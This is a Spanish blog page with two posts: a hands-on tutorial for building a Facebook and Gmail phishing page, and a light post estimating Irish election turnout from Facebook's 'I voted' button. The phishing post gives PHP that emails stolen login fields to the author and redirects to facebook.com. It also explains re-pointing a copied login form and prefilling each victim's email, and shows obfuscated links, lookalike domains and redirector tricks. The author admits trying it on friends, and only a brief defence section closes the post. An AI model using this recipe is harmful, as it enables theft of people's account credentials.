facebook - Tienda de ultramarinos
logo Tienda de Ultramarinos
Etiquetas: facebook

Phishing – ¿Sabías lo fácil que es hacer una página que robe tus datos?

Anoche unos amigos me comentaron sus infructuosos intentos por conseguir la contraseña del facebook de una amiga. Es una buena amiga, sólo lo quieren por diversión (para enviar solicitudes de amistad a usuarios filipinos) y para retarse a sí mismos. Sin pensarlo demasiado, les sugerí algo de phishing.

Entonces me dije ¿Por qué no intentar hacer mi propia página? (tranquilo, no hace nada malo, puedes acceder con datos falsos también) Es un tema interesante y, como todo, se aprende mucho cuando lo haces por ti mismo. Pensé que sería mucho más complicado, pero en una hora conseguí una página falsa de login que reenviaba usuario y contraseña a mi email, y redirigía a facebook.com. Todo sin saber apenas nada de PHP (lo poco de modificar alguna cosilla del blog), que he tenido que buscar hasta como concatenar cadenas. Y sin mirar ningún tipo de guía sobre cómo hacer una página de phishing. Una hora trabajando por mi cuenta.

Aunque mucha gente pueda saber lo que es el phishing, no se le da una importancia real porque todos pensamos que es mucho más complicado; sin embargo quiero demostrar aquí lo sencillísimo que es empezar a pescar datos, para concienciaros de que hay que tener un poco más de cuidado al introducir nuestras contraseñas en los links que seguimos. Lo he probado con éxito con algunos de mis amigos. Si no te interesan los detalles técnicos, sáltatelos y aprende a defenderte.

Gone Phishing Martha Stewart Chocolate Cupcakes

Primero – Enviar email con PHP

Supongamos que queremos recibir los datos que introduce el usuario por email. También se podrían ir almacenando en un fichero en nuestro servidor y luego consultarlo, pero para este caso me preferí utilizar el email. En PHP es sencillísimo, y en esta página explican todo. Con un fichero de seis líneas es suficiente, el primer ejemplo de todos.

Pero nosotros no queremos enviar siempre el mismo mensaje, queremos el usuario y contraseña, que en la página de login de facebook se envían como parámetros mediante POST bajo las variables email y pass. Así que escribimos:

$message = “Otro pardillo pone sus datos!:\n\n”. $_POST[“email”] . ” – ” . $_POST[“pass”];

En lugar de escribir en la misma página si el email fue enviado con éxito, lo que hacemos es redirigir a facebook.com (el usuario normalmente está ya logueado, por lo que no se dará cuenta de nada), por lo que escribimos al final del archivo:

header(“Location: http://www.facebook.com/”);

Completado. Luego podemos mejorarlo todo lo que queramos. Por ejemplo, mi fichero acepta un parámetro “newurl” que permite redirigir a cualquier otra web. Además, si el campo “pass” llega vacío, vuelve a la página anterior.

Finalmente, tenemos un fichero como este (haz clic para ver en tu navegador), listo para recibir los datos.

Segundo – Modificar login de Facebook

Ahora vamos al link de cualquier página de facebook sin estar logueados y nos saldrá la ventana de login y la guardamos como cualquier otra página.

Lo único que tenemos que hacer aquí, es buscar el formulario y cambiar la dirección a la que lo envía facebok, por la de nuestro fichero que envía emails, en mi caso action=”email.php”.

Y ya está. Ahora, subimos todo a un servidor, y cualquiera que acceda a nuestra página, verá una perfecta copia del login de Facebook, pero que nos enviará toda la información a nuestro email.

Tercero – Mejoras al login

Todo lo siguiente es un extra, con lo hecho hasta ahora ya es perfectamente funcional.

Por supuesto la página de login también puede mejorarse. Por ejemplo, personalizarla para cada víctima, haciendo que aparezca por defecto su email en la caja de texto. Esta información podemos pasarla con parámetros al enviarle nuestra dirección, de la forma:

http://loginfalso.php?name=fulanito&domain=gmail.com

Buscamos el input con id=email y añadimos la siguiente línea.

value=”<?php if($_GET[“name”]){echo ($_GET[“name”].”@”.$_GET[“domain”]);}?>”

También, puesto que el fichero email.php acepta un parámetro para cambiar la redirección, podemos configurarlo desde aquí, “http://loginfalso.php?name=fulanito&domain=gmail.com&newurl=www.otrapagina.com

cambiando el “action” del formulario por:

action=”<?php echo “email.php?newurl=”.$_GET[“newurl”]?>”

Desde luego, todo esto es muy descarado, así que se puede ofuscar añadiendo parámetros sin sentido, para hacer más larga la dirección. De hecho, el email se especifica en dos parámetros precisamente para esto. Se pueden poner todos los que se quieran y en cualquier orden.

Tampoco se va a fiar mucho alguien a quién le pases por chat un enlace a tu propio dominio, como tiendadeultramarinos.es, y cuando le salga el login de facebook le parecerá raro. Por eso, cuando alguien se toma en serio este tema, compra dominios con nombres parecidos al original. Por ejemplo, facebok, fecebook, facebooc, feisbuk.es… de modo que cuando entras al link no te fijas de que realmente es otra página.

Pero si alguna vez habéis copiado un vínculo desde Facebook, veréis que los envía a través de una página que redirige al vínculo. Algo como lo siguiente, envía a mi blog, pero cuando lo ves, parece que sea interno de Facebook.

https://www.facebook.com/l.php?u=http%3A%2F%2FDIRECCION&h=b70fc

https://www.facebook.com/l.php?u=http%3A%2F%2Fwww.tiendadeultramarinos.es&h=b70fc

Claro que, una vez accedido al link, la parte inicial de www.facebook.com desaparece: pero muchas veces el usuario no se fijará una vez esté dentro de la web, sólo en el momento de clicar el enlace.

Una última mejora sería bajarnos las páginas de login de distintos idiomas y modificarlas al gusto. Para gestionar todas sencillamente con la misma dirección, he creado un pequeño fichero PHP que redirige a las páginas de login de cada idioma en función de un parámetro lang. Más info y ejemplos de direcciones ofuscadas, en el fichero de redirección.

Cuarto – Lo mismo en Gmail

No os penséis que Google lo pone más difícil. He seguido el mismo proceso con idénticos resultados. Aquí la página falsa. Como no tenemos el truco de facebook de poner la dirección primero, tenemos que recurrir a otro modo para dar la sensación al ver el link de que es la página real de gmail. Esto lo explican muy bien en la wikipedia, y se hace sencillamente poniendo la dirección destino detrás de la arroba, así:

http://www.gmail.com@direccionfalsa

Finalmente – ¿Cómo me defiendo?

Como habéis visto es tremendamente sencillo hacer una página falsa para robar vuestras cuentas de acceso a cualquier servicio. Generalmente nadie se va a molestar en robaros la cuenta del Facebook, el objetivo real detrás del phishing es tener acceso a las cuentas de los bancos, así que es con lo que más cuidado hay que tener.

El principal consejo es, siempre, escribir vosotros mismos la dirección de la página en la que queréis loguearos. Nunca lo hagáis siguiendo vínculos. Primero iniciad sesión en una pestaña aparte, y luego volved al email y seguid el enlace que os han pasado, y si no es trampa no os pedirá que volváis a iniciar sesión.

La banca electrónica es segura, simplemente hay que ser cuidadoso a la hora de meter nuestros datos. Del mismo modo que no enviríais vuestra tarjeta de crédito con vuestro PIN en un sobre a una dirección desconocida, ni daríais vuestros datos a cualquiera que se presentase en casa o llamase por teléfono. En internet hay que seguir, exactamente, las mismas precauciones que en la vida real: sentido común.

El objetivo de la explicación en este post de cómo hacer la página es doble. Primero, llamar vuestra atención sobre el problema destacando la facilidad de crearlas. Segundo, entendiendo cómo puede atacaros vuestro “enemigo” tenéis más posibilidades de comprender cómo defenderos.

Para terminar, os dejo un par de guías en español para protegerse del phishing, más completas que las pinceladas que he dado yo: Vulneravility Team e  Internautas.

Votar las elecciones en Facebook

No, el voto electrónico todavía no significa que las elecciones se harán en Facebook, pero poco le falta. Parece ser que una de las últimas actualizaciones de la red social (debe de ser relativamente reciente porque no he visto nada referenciado en blogs españoles) consiste en preguntar a todos los usuarios de un país en elecciones se han ido a votar.

Me parece curioso y extraño. ¿Triunfará? ¿Estará la gente dispuesta a reconocer que vota a esa panda de ladrones que son todos los políticos? En estos momentos, son las 12 del mediodía (la misma hora en Canarias) y 35 000 usuarios han confirmado su voto (entre ellos yo a pesar de no haber votado). ¿Eso son muchos o pocos?

Hay aproximadamente 4,5 millones de habitantes en la República de Irlanda. De los cuales 850 mil son menores de 14, por lo que digamos que hay 3,5 millones en edad de votar. Según RTE, a estas horas más o menos ha votado el 10% de la población, lo cual nos da 350 000 votos.

El año pasado había 1,6 millones de usuarios activos en Facebook Irlanda. Los menores de 18 suponen un 15% de los usuarios de USA, pero supondremos que el porcentaje es similar aquí. Eso nos deja un 85% de usuarios en edad de votar, es decir, 1,3 millones. Si ha votado el 10% de la ciudadanía, 130 000 de los usuarios de Facebook deberían haber votado.

130 000 está lejos de los 35 000 contabilizados hasta ahora. Pero pensemos que por la mañana sólo vota la gente mayor, con mucha menos presencia en Facebook, y que además es día laboral. También habrá votos falsos, como el mío o de media docena más de otros Erasmus que he visto que ya han pulsado votar.

No sé cómo terminará el día porque me voy a Dublín dentro de una hora, pero hasta el momento, suponiendo que sean votos reales, y que las cifras de mi estimación sean correctas, no me parece una diferencia tan grande con la realidad como había pensado en un principio.

¿Será lo siguiente preguntar a quién se ha votado o hacer encuestas de intención de voto? ¿Se harán los sondeos electorales el día de la votación en Facebook en lugar de a pie de urna? ¿Se terminarán haciendo las elecciones en Facebook?

Ya me contaréis en un mes o dos, cuando sean en España, si también aparece y qué acogida tiene.